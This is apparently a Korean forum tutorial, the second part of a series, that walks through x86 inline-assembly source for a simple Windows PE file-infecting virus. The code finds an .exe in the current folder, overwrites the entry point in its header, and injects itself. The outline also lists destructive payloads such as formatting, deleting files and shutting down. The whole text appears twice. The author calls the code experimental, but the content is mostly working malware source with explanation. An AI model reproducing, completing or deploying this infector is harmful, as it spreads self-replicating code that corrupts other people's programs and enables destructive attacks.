글 수 83
개나소나 만드는 바이러스 그 두번째
지난번에 어디까지 했었더라...원리에 대해 설명했다.
이번 장에선 구현을 해보자.
1.주의사항
주의사항은 보통 맨 마지막에 나오기 마련이지만, 반드시 짚고 넘어가야 할 점이므로
맨 앞에서부터 다루겠다.
*혹시라도 그런 실수를 범하는 사람은 없겠지만, 바이러스 코드에서 전역변수는 쓸 수 없다.
전역변수란게 데이타 세그먼트 기준으로 오프셋 몇..이런식으로 써야되는데 이미 그 영역
은 숙주의 원래 코드가 사용하고 있을것이기 때문에, 혹은 내가 쓰고자 하는 만큼이 확보
되어있지 않을수도 있다.
따라서 이런 류의 기생하는 프로그램(스택오버플로우를 이용한 해킹도 마찬가지) 쓸 수 있
는 메모리는 레지스터와 스택 뿐이다.
따라서 모든 임시 변수는 스택을 사용한다.
*여기 나오는 소스 코드는 정말로 정말로 구현을 위한 구현이다.범용적으로 쓰기엔 문제가
많으니 감히 이걸갖고 변종 바이러스 만들 생각을 하는 사람은 없었으면 좋겠다.이걸 고쳐
서 제대로된 바이러스 만드느니 새로 코딩하는게 나을것이다.
이 바이러스의 문제점을 미리 적을테니 괜한 생각하는 사람은 없길 바란다.
1.단 하나의 파일만 감염시킨다.
2.이미 감염된 파일은 skip하고 다른 파일을 로드해서 감염시켜야 하지만
다음 파일을 서치하지 않는다.이에 따른 에외상황처리는 하지 않았다.
3.한 파일에 두번 감염시킬 경우 해당 파일은 제대로 동작하지 않는다.
4.이미지베이스 어드레스를 .0x00400000으로 가정하였다.이와같은 베이스 어드레스를
사용하지 않는 exe의 경우는 오동작한다.
거론된 문제들은 손쉽게 고칠순 있다.하지만 꽤나 짜증나게 짜놨으니 별로 하고싶진
않을것이다.
남이 실험하면서 만든 바이러스 코드를 가져다가 악성바이러스로 만들 정도로 자존심
없는 프로그래머는 없으리라 믿는다.
2.코드의 골격
void Virus()
{
1.자기 자신의 코드 사이즈를 계산하고 스택에 복사해둔다.
2.감염시킬 대상을 찾는다.
3.감염시킬 파일의 헤더를 읽어서 코드 엔트리포인트는 스택에 저장하고
주입시킬 바이러스 코드가 위차할 파일 옵셋을 계산해 이 위치를 코드
엔트리 포인트로 바꿔치기한다.
4.바이러스로서 해야할 일을 한다.(포맷,괴문자 출력,파일 삭제,셧다운 등등)
5.저장해둔 원래 코드 엔트리 포인트로 점프한다.
}
3.코드 설명.
크게 네 부분으로 이루어져있다.실제 바이너리코드상으론 몽땅 연결되어있지만
__asm{}절로는 네부분으로 나누었다.
***첫번째 구역
__asm
{
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebp
mov ebp,esp
sub esp,8800
xor edx,edx
mov dx,0xcccc
shl edx,16
or edx,0xcccc
xor eax,eax
mov ax,0x9090
shl eax,16
or eax,0x9090
mov esi,0x00400000
lb_search_entry:
inc esi
cmp al,byte ptr[esi]
jnz lb_search_entry
xor ecx,ecx
lb_count_nop:
inc ecx
inc esi
cmp al,byte ptr[esi]
jz lb_count_nop
cmp ecx,16
jnz lb_search_entry
lb_success_search_entry:
sub esi,ecx
lea edi,dword ptr[ebp-0x0000201c]
xor ecx,ecx
; esi는 코드의 엔트리 포인트
lb_count_bytes:
cmp edx,dword ptr[esi]
jz lb_continue
cmp eax,dword ptr[esi]
jnz lb_not_jmpaddr
mov ebx,ecx
add ebx,5
mov dword ptr[ebp-0x0000001c],ebx ; 점프할 어드레스를 끼워넣을 코드 오프셋
lb_not_jmpaddr:
movsb
inc ecx
jmp lb_count_bytes
lb_continue:
movsd
movsb
add ecx,5
mov dword ptr[ebp-0x00000018],ecx ; 코드 사이즈
}
주석을 일일히 달면 좋겠지만 너무 귀찮아서 주의할 부분만 짚고 넘어가겠다.
우선 naked call을 사용한 이유를 보자.
cdecl이나 stdcall을 사용해도 되긴 된다.근데 난 어떻게 그걸로 가능하게 하는지
잘 모르겠다.이론상 안될 이유는 없지만.이 실행파일이 로드되고나서 최초로 실행
되는 코드가 바로 이 코드고 이건 함수 안에 끼워진 코드가 아니다.따라서 스택프
레임을 잡아줘야한다.헌데 스택 프레임을 잡는 코드조차도 바이러스 코드에 포함
되므로 자지가신의 코드를 복제함에 있어서 빠져선 안된다.
nop이 16개나 있는 이유는 바이러스 코드의 시작이 어딘지 찾기위해서인데 만약
naked를 사용하지 않으면 컴파일러가 무조건 코드의 제일 처음에 스택프레임 잡는
코드를 넣어버린다.내가 아무리 눈에 보이기로는 맨 앞에 nop을 왕창 때려넣어도
스택프레임이 잡는 코드 뒤에 nop이 따라붙는다.
nop뭉태기를 코드의 가장 앞에 넣기 위해 naked call을 사용했다.
nop을 16개나 사용한 이유는 0x90909090정도는 상수로 나올수 있다고 생각해서
확실하게 코드의 시작임을 표시하기 위해서이다.
대충 코드가 돌아가는게 보이는가? 보인다면 당신은 어셈블리 코딩 하루이틀한
사람이 아니다.절이라도 해주고 싶다.솔직히 내가 짰어도 하루이틀 지나서 다시
보면 헷갈린다.맨 앞부터 따라가봐야한다.naked call에선 변수이름을 직접사용
할 수 없기 때문에 ebp레지스터에 대한 오프셋으로 로컬변수 이름을 대치하는데
진짜 헷갈린다.-_-;
하지만 열심히 추적해보면 보일것이다.
대략 코드의 흐름을 보자.
이 실행파일 이미지의 베이스 어드레스는 0x00400000이라고 가정한다.(링크할때 바
꿀수 있다.누누히 말해두지만 이 바이러스코드는 실험용이다.0x00400000을 베이스
로 하지 않는 프로그램들도 얼마든지 있다.이건 pe헤더에서 읽어서 사용하는게 원
칙이다.)
베이스 어드레스부터 nop에 해당되는 0x90이 16개 연속되어있는 구역을 찾는다.
찾았으면 다시 0xcc가 4개가 연속되어있는 구역을 찾는다.그 사이에있는 구역이
실제 바이러스 코드이다.물론 앞에 16바이트 뒤에 4바이트도 바이러스코드로 포함
시켜줘야 다음번 감염되고나서도 제대로 찾을 수 있다.열심히 자기 코드를 찾는
중에 또 뭔가를 찾고있다.바이러스 코드의 엔트리 포인트를 찾은 후에는 4개의
nop을 또다시 찾아해매고 있다.이게 뭐하는 짓인고 하니 임의로 jmp하기 위해
아무 주소나 써둔 4바이트 영역을 찾기 위함이다.
이해가 잘 안가는가? 약간의 리얼타임 코드 생성을 위해 사용한 꽁수이다.
원래 코드의 엔트리 포인트는 파일마다 젝각각이므로 이걸 고정된 값으로 코딩할 순 없다.감염시키고자 하는
파일의 헤더를 읽어서 엔트리 포인트로 점프하기 위해선
push 엔트리포인트
pop eax
jmp eax
이런꼴의 코드를 만들어야 하는데 문제는 엔트리포인트부분엔 상수가 들어가야 하고 상수
를 가변적으로 넣기가 꽤나 어려워보인다.실상 정상적인 코드로는 안된다.
따라서 push 다음의 네바이트는 바꿔치기 해야한다.어차피 코드는 스택에 저장해놓을 것
이고 옵셋만 알면 바꿔치기 할 수 있다.바꿔치기할 코드의 옵셋을 알기 위해 push앞에다
가 nop을 4개 깔아준것이다.이미 바이러스 코드가 시작되고 나서는 nop 4개를 쓰는건 이
부분뿐이니므로 4개만 사용했다.그 편이 검색하기 편하니까.네번째 __asm{}구간을 보면
이해가 될것이다.
설명을 위해 네번째 구역을 먼저 보여주겠다.
***네번째 구역
_asm
{
nop nop
nop nop
push offset lb_end
pop edx
mov esp,ebp
pop ebp
jmp edx
int 3
int 3
int 3
int 3
lb_end:
ret
}
일단 offset lb_end를 넣은 이유는 이 코드가 최초로 실행될땐 기생된 코드가 아니고
멀쩡하게 자체 exe로 실행될 파일이므로 정상적으로 종료하게 하고 싶었기 때문이다.
끝의 int 3 4개는 사이즈 계산을 위해 코드의 끝임을 명시해둔것이다.
*** 세번째 구역
이번엔 pe파일에서 코드 엔트리 포인트와 사이즈를 읽고 엔트리 포인트는 바이러스
코드의 엔트리 포인트로 바꿔치기하는 부분이다.
__asm
{
mov dword ptr[ebp-0x00002164],0x78652e2a
mov word ptr[ebp-0x00002160],0x0065
lea eax,dword ptr[ebp-0x0000215c]
lea edx,dword ptr[ebp-0x00002164]
push eax
push edx
mov ebx,0x77E5906D
call ebx //dword ptr[FindFirstFile]
mov dword ptr[ebp-8],eax
// hFile = CreateFile(fndata.cFileName,
// GENERIC_WRITE | GENERIC_READ,
// FILE_SHARE_READ | FILE_SHARE_WRITE, 0,
// OPEN_EXISTING, FILE_FLAG_SEQUENTIAL_SCAN, 0);
push 0
push 8000000h
push 3
push 0
push 3
push 0C0000000h
lea eax,[ebp-2130h]
push eax
mov ebx,0x77E585F4
call ebx // CreateFile
mov dword ptr[ebp-4],eax
// ReadFile(hFile,header,sizeof(header),&len,NULL);
push NULL
lea edx,dword ptr[ebp-0x00000010]
push edx
push 0x1000
lea edx,dword ptr[ebp-0x0000101c]
push edx
push eax
mov ebx,0x77E55314
call ebx //dword ptr[ReadFile]
// pe_header =
// (PE_HEADER*)((char*)((IMAGE_DOS_HEADER*)header) +
// ((IMAGE_DOS_HEADER*)header)->e_lfanew);
mov eax,dword ptr [ebp-0x00000FE0]
lea eax,[ebp+eax-0x0000101C]
mov dword ptr [ebp-0x0000000C],eax
//old_entry = pe_header->opt_head.AddressOfEntryPoint;
mov eax,dword ptr [ebp-0x0000000C]
mov eax,dword ptr [eax+0x00000028]
mov dword ptr [ebp-0x00000014],eax
// pe_header->opt_head.AddressOfEntryPoint =
// pe_header->opt_head.SizeOfCode + 0x00001000 - code_size;
mov eax,dword ptr [ebp-0x0000000C]
mov eax,dword ptr [eax+0x0000001C]
add eax,0x00001000
sub eax,dword ptr [ebp-0x00000018]
mov ecx,dword ptr [ebp-0x0000000C]
mov dword ptr [ecx+0x00000028],eax
// SetFilePointer(hFile,0,NULL,FILE_BEGIN);
push 0
push 0
push 0
push dword ptr [ebp-4]
mov ebx,0x77E553E8
call ebx //dword ptr [SetFilePointer]
// WriteFile(hFile,(LPVOID)header,sizeof(header),&len,NULL);
push 0
lea eax,[ebp-0x00000010]
push eax
push 0x00001000
lea eax,[ebp-0x0000101C]
push eax
push dword ptr [ebp-4]
mov ebx,0x77E5334F
call ebx //dword ptr [WriteFile]
// SetFilePointer(
// hFile,pe_header->opt_head.AddressOfEntryPoint,
// NULL,FILE_BEGIN);
push 0
push 0
mov eax,dword ptr [ebp-0x0000000C]
push dword ptr [eax+0x00000028]
push dword ptr [ebp-4]
mov ebx,0x77E553E8
call ebx //dword ptr [SetFilePointer]
}
코드가 꽤나 난잡하고 별 도움이 안될거 같은 주석들이 여러개 보인다.
처음에 이 부분은 c코드로 작성했다가 vc에서 보여주는 디스어셈블된 코드를
참고해서 대치하다보니 그리됐다.
win32의 FindFirstFile()에 *.exe라는 스트링을 인자로 주어 첫번째 exe파일
의 이름과 핸들을 얻는다.원래 해당하는 파일이 없다면 예외처리를 해주어야
하지만 실험적으로 만든것이라 예외처리는 생략했다.
찾은 파일이름으로 파일을 연다.c런타임 함수는 전여 사용하지 않았다.msvcrt.dll
이 로드되어있지 않다면 절대 돌아가지 않기 때문인데 msvcrt.dll이 어떤 exe
파일을 실행할때나 로드되진 않는다.(확실친 않다.msvcrt.dll이 윈도우의 기본
dll이 아닌건 확실한거 같다.)
pe파일 헤더는 일단 4096바이트이므로 한번에 4096바이트를 읽어서 코드의 엔트
리 포인트와 사이즈 부분만 일단 얻어놨다.
간단한 계산식에 의해(주석참고) 헤더의 코드 엔트리 포인트 필드를 바이러스
의 시작 위치로 바꿔치기하고나서 헤더를 다시 파일에 write한다.
이제 헤더는 됐고 ,바이러스 코드를 주입하고 바이러스다운 행동을 하도록 만드
는 일이 남았다.
***네번째 구역
첫번째 루틴에서 필요한 자료는 다 모아놨다.바이러스 코드의 시작 주소도 알고
점프할 어드레스를 끼워넣을 옵셋도 알고 있다.코드 사이즈도 알고 있으므로 아
무 문제도 없다.
__asm
{
lea edi,dword ptr[ebp-0x0000201c]
add edi,dword ptr[ebp-0x0000001c]
mov eax,dword ptr[ebp-0x00000014]
add eax,0x00400000
mov dword ptr[edi],eax
// WriteFile(hFile,(LPVOID)code,code_size,&len,NULL);
push 0
lea eax,[ebp-0x00000010]
push eax
push dword ptr [ebp-0x00000018]
lea eax,[ebp-0x0000201C]
push eax
push dword ptr [ebp-4]
mov ebx,0x77E5334F
call ebx //dword ptr [WriteFile]
// FindClose(hSearchFile);
push dword ptr[ebp-8]
mov ebx,0x77E58F5D
call ebx //dword ptr[FindClose]
// CloseHandle(hFile);
push dword ptr[ebp-4]
mov ebx,0x77E53053
call ebx //dword ptr[CloseHandle]
}
이 부분의 소스 코드는 별로 설명할 내용도 없다.주석을 보면 그냥 이해가 될것이다.
코드설명이라고 해놓고 부실하게 설명해서 아주 미안하게 생각한다.공부하는 셈 치고
뜯어보기 바란다.아니면 "이런 쓰레기같은 코드를 바이러스 코드라고 짜놨냐...내가
그냥 짜겠다."라고 생각하며 자기만의 코드를 작성해도 좋겠다.
이 코드에 자부심을 느끼진 않는다.전혀.실험용으로 만든 코드이고 첫번째로 만든것
이기 때문이다.
지난번에 어디까지 했었더라...원리에 대해 설명했다.
이번 장에선 구현을 해보자.
1.주의사항
주의사항은 보통 맨 마지막에 나오기 마련이지만, 반드시 짚고 넘어가야 할 점이므로
맨 앞에서부터 다루겠다.
*혹시라도 그런 실수를 범하는 사람은 없겠지만, 바이러스 코드에서 전역변수는 쓸 수 없다.
전역변수란게 데이타 세그먼트 기준으로 오프셋 몇..이런식으로 써야되는데 이미 그 영역
은 숙주의 원래 코드가 사용하고 있을것이기 때문에, 혹은 내가 쓰고자 하는 만큼이 확보
되어있지 않을수도 있다.
따라서 이런 류의 기생하는 프로그램(스택오버플로우를 이용한 해킹도 마찬가지) 쓸 수 있
는 메모리는 레지스터와 스택 뿐이다.
따라서 모든 임시 변수는 스택을 사용한다.
*여기 나오는 소스 코드는 정말로 정말로 구현을 위한 구현이다.범용적으로 쓰기엔 문제가
많으니 감히 이걸갖고 변종 바이러스 만들 생각을 하는 사람은 없었으면 좋겠다.이걸 고쳐
서 제대로된 바이러스 만드느니 새로 코딩하는게 나을것이다.
이 바이러스의 문제점을 미리 적을테니 괜한 생각하는 사람은 없길 바란다.
1.단 하나의 파일만 감염시킨다.
2.이미 감염된 파일은 skip하고 다른 파일을 로드해서 감염시켜야 하지만
다음 파일을 서치하지 않는다.이에 따른 에외상황처리는 하지 않았다.
3.한 파일에 두번 감염시킬 경우 해당 파일은 제대로 동작하지 않는다.
4.이미지베이스 어드레스를 .0x00400000으로 가정하였다.이와같은 베이스 어드레스를
사용하지 않는 exe의 경우는 오동작한다.
거론된 문제들은 손쉽게 고칠순 있다.하지만 꽤나 짜증나게 짜놨으니 별로 하고싶진
않을것이다.
남이 실험하면서 만든 바이러스 코드를 가져다가 악성바이러스로 만들 정도로 자존심
없는 프로그래머는 없으리라 믿는다.
2.코드의 골격
void Virus()
{
1.자기 자신의 코드 사이즈를 계산하고 스택에 복사해둔다.
2.감염시킬 대상을 찾는다.
3.감염시킬 파일의 헤더를 읽어서 코드 엔트리포인트는 스택에 저장하고
주입시킬 바이러스 코드가 위차할 파일 옵셋을 계산해 이 위치를 코드
엔트리 포인트로 바꿔치기한다.
4.바이러스로서 해야할 일을 한다.(포맷,괴문자 출력,파일 삭제,셧다운 등등)
5.저장해둔 원래 코드 엔트리 포인트로 점프한다.
}
3.코드 설명.
크게 네 부분으로 이루어져있다.실제 바이너리코드상으론 몽땅 연결되어있지만
__asm{}절로는 네부분으로 나누었다.
***첫번째 구역
__asm
{
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebp
mov ebp,esp
sub esp,8800
xor edx,edx
mov dx,0xcccc
shl edx,16
or edx,0xcccc
xor eax,eax
mov ax,0x9090
shl eax,16
or eax,0x9090
mov esi,0x00400000
lb_search_entry:
inc esi
cmp al,byte ptr[esi]
jnz lb_search_entry
xor ecx,ecx
lb_count_nop:
inc ecx
inc esi
cmp al,byte ptr[esi]
jz lb_count_nop
cmp ecx,16
jnz lb_search_entry
lb_success_search_entry:
sub esi,ecx
lea edi,dword ptr[ebp-0x0000201c]
xor ecx,ecx
; esi는 코드의 엔트리 포인트
lb_count_bytes:
cmp edx,dword ptr[esi]
jz lb_continue
cmp eax,dword ptr[esi]
jnz lb_not_jmpaddr
mov ebx,ecx
add ebx,5
mov dword ptr[ebp-0x0000001c],ebx ; 점프할 어드레스를 끼워넣을 코드 오프셋
lb_not_jmpaddr:
movsb
inc ecx
jmp lb_count_bytes
lb_continue:
movsd
movsb
add ecx,5
mov dword ptr[ebp-0x00000018],ecx ; 코드 사이즈
}
주석을 일일히 달면 좋겠지만 너무 귀찮아서 주의할 부분만 짚고 넘어가겠다.
우선 naked call을 사용한 이유를 보자.
cdecl이나 stdcall을 사용해도 되긴 된다.근데 난 어떻게 그걸로 가능하게 하는지
잘 모르겠다.이론상 안될 이유는 없지만.이 실행파일이 로드되고나서 최초로 실행
되는 코드가 바로 이 코드고 이건 함수 안에 끼워진 코드가 아니다.따라서 스택프
레임을 잡아줘야한다.헌데 스택 프레임을 잡는 코드조차도 바이러스 코드에 포함
되므로 자지가신의 코드를 복제함에 있어서 빠져선 안된다.
nop이 16개나 있는 이유는 바이러스 코드의 시작이 어딘지 찾기위해서인데 만약
naked를 사용하지 않으면 컴파일러가 무조건 코드의 제일 처음에 스택프레임 잡는
코드를 넣어버린다.내가 아무리 눈에 보이기로는 맨 앞에 nop을 왕창 때려넣어도
스택프레임이 잡는 코드 뒤에 nop이 따라붙는다.
nop뭉태기를 코드의 가장 앞에 넣기 위해 naked call을 사용했다.
nop을 16개나 사용한 이유는 0x90909090정도는 상수로 나올수 있다고 생각해서
확실하게 코드의 시작임을 표시하기 위해서이다.
대충 코드가 돌아가는게 보이는가? 보인다면 당신은 어셈블리 코딩 하루이틀한
사람이 아니다.절이라도 해주고 싶다.솔직히 내가 짰어도 하루이틀 지나서 다시
보면 헷갈린다.맨 앞부터 따라가봐야한다.naked call에선 변수이름을 직접사용
할 수 없기 때문에 ebp레지스터에 대한 오프셋으로 로컬변수 이름을 대치하는데
진짜 헷갈린다.-_-;
하지만 열심히 추적해보면 보일것이다.
대략 코드의 흐름을 보자.
이 실행파일 이미지의 베이스 어드레스는 0x00400000이라고 가정한다.(링크할때 바
꿀수 있다.누누히 말해두지만 이 바이러스코드는 실험용이다.0x00400000을 베이스
로 하지 않는 프로그램들도 얼마든지 있다.이건 pe헤더에서 읽어서 사용하는게 원
칙이다.)
베이스 어드레스부터 nop에 해당되는 0x90이 16개 연속되어있는 구역을 찾는다.
찾았으면 다시 0xcc가 4개가 연속되어있는 구역을 찾는다.그 사이에있는 구역이
실제 바이러스 코드이다.물론 앞에 16바이트 뒤에 4바이트도 바이러스코드로 포함
시켜줘야 다음번 감염되고나서도 제대로 찾을 수 있다.열심히 자기 코드를 찾는
중에 또 뭔가를 찾고있다.바이러스 코드의 엔트리 포인트를 찾은 후에는 4개의
nop을 또다시 찾아해매고 있다.이게 뭐하는 짓인고 하니 임의로 jmp하기 위해
아무 주소나 써둔 4바이트 영역을 찾기 위함이다.
이해가 잘 안가는가? 약간의 리얼타임 코드 생성을 위해 사용한 꽁수이다.
원래 코드의 엔트리 포인트는 파일마다 젝각각이므로 이걸 고정된 값으로 코딩할 순 없다.감염시키고자 하는
파일의 헤더를 읽어서 엔트리 포인트로 점프하기 위해선
push 엔트리포인트
pop eax
jmp eax
이런꼴의 코드를 만들어야 하는데 문제는 엔트리포인트부분엔 상수가 들어가야 하고 상수
를 가변적으로 넣기가 꽤나 어려워보인다.실상 정상적인 코드로는 안된다.
따라서 push 다음의 네바이트는 바꿔치기 해야한다.어차피 코드는 스택에 저장해놓을 것
이고 옵셋만 알면 바꿔치기 할 수 있다.바꿔치기할 코드의 옵셋을 알기 위해 push앞에다
가 nop을 4개 깔아준것이다.이미 바이러스 코드가 시작되고 나서는 nop 4개를 쓰는건 이
부분뿐이니므로 4개만 사용했다.그 편이 검색하기 편하니까.네번째 __asm{}구간을 보면
이해가 될것이다.
설명을 위해 네번째 구역을 먼저 보여주겠다.
***네번째 구역
_asm
{
nop nop
nop nop
push offset lb_end
pop edx
mov esp,ebp
pop ebp
jmp edx
int 3
int 3
int 3
int 3
lb_end:
ret
}
일단 offset lb_end를 넣은 이유는 이 코드가 최초로 실행될땐 기생된 코드가 아니고
멀쩡하게 자체 exe로 실행될 파일이므로 정상적으로 종료하게 하고 싶었기 때문이다.
끝의 int 3 4개는 사이즈 계산을 위해 코드의 끝임을 명시해둔것이다.
*** 세번째 구역
이번엔 pe파일에서 코드 엔트리 포인트와 사이즈를 읽고 엔트리 포인트는 바이러스
코드의 엔트리 포인트로 바꿔치기하는 부분이다.
__asm
{
mov dword ptr[ebp-0x00002164],0x78652e2a
mov word ptr[ebp-0x00002160],0x0065
lea eax,dword ptr[ebp-0x0000215c]
lea edx,dword ptr[ebp-0x00002164]
push eax
push edx
mov ebx,0x77E5906D
call ebx //dword ptr[FindFirstFile]
mov dword ptr[ebp-8],eax
// hFile = CreateFile(fndata.cFileName,
// GENERIC_WRITE | GENERIC_READ,
// FILE_SHARE_READ | FILE_SHARE_WRITE, 0,
// OPEN_EXISTING, FILE_FLAG_SEQUENTIAL_SCAN, 0);
push 0
push 8000000h
push 3
push 0
push 3
push 0C0000000h
lea eax,[ebp-2130h]
push eax
mov ebx,0x77E585F4
call ebx // CreateFile
mov dword ptr[ebp-4],eax
// ReadFile(hFile,header,sizeof(header),&len,NULL);
push NULL
lea edx,dword ptr[ebp-0x00000010]
push edx
push 0x1000
lea edx,dword ptr[ebp-0x0000101c]
push edx
push eax
mov ebx,0x77E55314
call ebx //dword ptr[ReadFile]
// pe_header =
// (PE_HEADER*)((char*)((IMAGE_DOS_HEADER*)header) +
// ((IMAGE_DOS_HEADER*)header)->e_lfanew);
mov eax,dword ptr [ebp-0x00000FE0]
lea eax,[ebp+eax-0x0000101C]
mov dword ptr [ebp-0x0000000C],eax
//old_entry = pe_header->opt_head.AddressOfEntryPoint;
mov eax,dword ptr [ebp-0x0000000C]
mov eax,dword ptr [eax+0x00000028]
mov dword ptr [ebp-0x00000014],eax
// pe_header->opt_head.AddressOfEntryPoint =
// pe_header->opt_head.SizeOfCode + 0x00001000 - code_size;
mov eax,dword ptr [ebp-0x0000000C]
mov eax,dword ptr [eax+0x0000001C]
add eax,0x00001000
sub eax,dword ptr [ebp-0x00000018]
mov ecx,dword ptr [ebp-0x0000000C]
mov dword ptr [ecx+0x00000028],eax
// SetFilePointer(hFile,0,NULL,FILE_BEGIN);
push 0
push 0
push 0
push dword ptr [ebp-4]
mov ebx,0x77E553E8
call ebx //dword ptr [SetFilePointer]
// WriteFile(hFile,(LPVOID)header,sizeof(header),&len,NULL);
push 0
lea eax,[ebp-0x00000010]
push eax
push 0x00001000
lea eax,[ebp-0x0000101C]
push eax
push dword ptr [ebp-4]
mov ebx,0x77E5334F
call ebx //dword ptr [WriteFile]
// SetFilePointer(
// hFile,pe_header->opt_head.AddressOfEntryPoint,
// NULL,FILE_BEGIN);
push 0
push 0
mov eax,dword ptr [ebp-0x0000000C]
push dword ptr [eax+0x00000028]
push dword ptr [ebp-4]
mov ebx,0x77E553E8
call ebx //dword ptr [SetFilePointer]
}
코드가 꽤나 난잡하고 별 도움이 안될거 같은 주석들이 여러개 보인다.
처음에 이 부분은 c코드로 작성했다가 vc에서 보여주는 디스어셈블된 코드를
참고해서 대치하다보니 그리됐다.
win32의 FindFirstFile()에 *.exe라는 스트링을 인자로 주어 첫번째 exe파일
의 이름과 핸들을 얻는다.원래 해당하는 파일이 없다면 예외처리를 해주어야
하지만 실험적으로 만든것이라 예외처리는 생략했다.
찾은 파일이름으로 파일을 연다.c런타임 함수는 전여 사용하지 않았다.msvcrt.dll
이 로드되어있지 않다면 절대 돌아가지 않기 때문인데 msvcrt.dll이 어떤 exe
파일을 실행할때나 로드되진 않는다.(확실친 않다.msvcrt.dll이 윈도우의 기본
dll이 아닌건 확실한거 같다.)
pe파일 헤더는 일단 4096바이트이므로 한번에 4096바이트를 읽어서 코드의 엔트
리 포인트와 사이즈 부분만 일단 얻어놨다.
간단한 계산식에 의해(주석참고) 헤더의 코드 엔트리 포인트 필드를 바이러스
의 시작 위치로 바꿔치기하고나서 헤더를 다시 파일에 write한다.
이제 헤더는 됐고 ,바이러스 코드를 주입하고 바이러스다운 행동을 하도록 만드
는 일이 남았다.
***네번째 구역
첫번째 루틴에서 필요한 자료는 다 모아놨다.바이러스 코드의 시작 주소도 알고
점프할 어드레스를 끼워넣을 옵셋도 알고 있다.코드 사이즈도 알고 있으므로 아
무 문제도 없다.
__asm
{
lea edi,dword ptr[ebp-0x0000201c]
add edi,dword ptr[ebp-0x0000001c]
mov eax,dword ptr[ebp-0x00000014]
add eax,0x00400000
mov dword ptr[edi],eax
// WriteFile(hFile,(LPVOID)code,code_size,&len,NULL);
push 0
lea eax,[ebp-0x00000010]
push eax
push dword ptr [ebp-0x00000018]
lea eax,[ebp-0x0000201C]
push eax
push dword ptr [ebp-4]
mov ebx,0x77E5334F
call ebx //dword ptr [WriteFile]
// FindClose(hSearchFile);
push dword ptr[ebp-8]
mov ebx,0x77E58F5D
call ebx //dword ptr[FindClose]
// CloseHandle(hFile);
push dword ptr[ebp-4]
mov ebx,0x77E53053
call ebx //dword ptr[CloseHandle]
}
이 부분의 소스 코드는 별로 설명할 내용도 없다.주석을 보면 그냥 이해가 될것이다.
코드설명이라고 해놓고 부실하게 설명해서 아주 미안하게 생각한다.공부하는 셈 치고
뜯어보기 바란다.아니면 "이런 쓰레기같은 코드를 바이러스 코드라고 짜놨냐...내가
그냥 짜겠다."라고 생각하며 자기만의 코드를 작성해도 좋겠다.
이 코드에 자부심을 느끼진 않는다.전혀.실험용으로 만든 코드이고 첫번째로 만든것
이기 때문이다.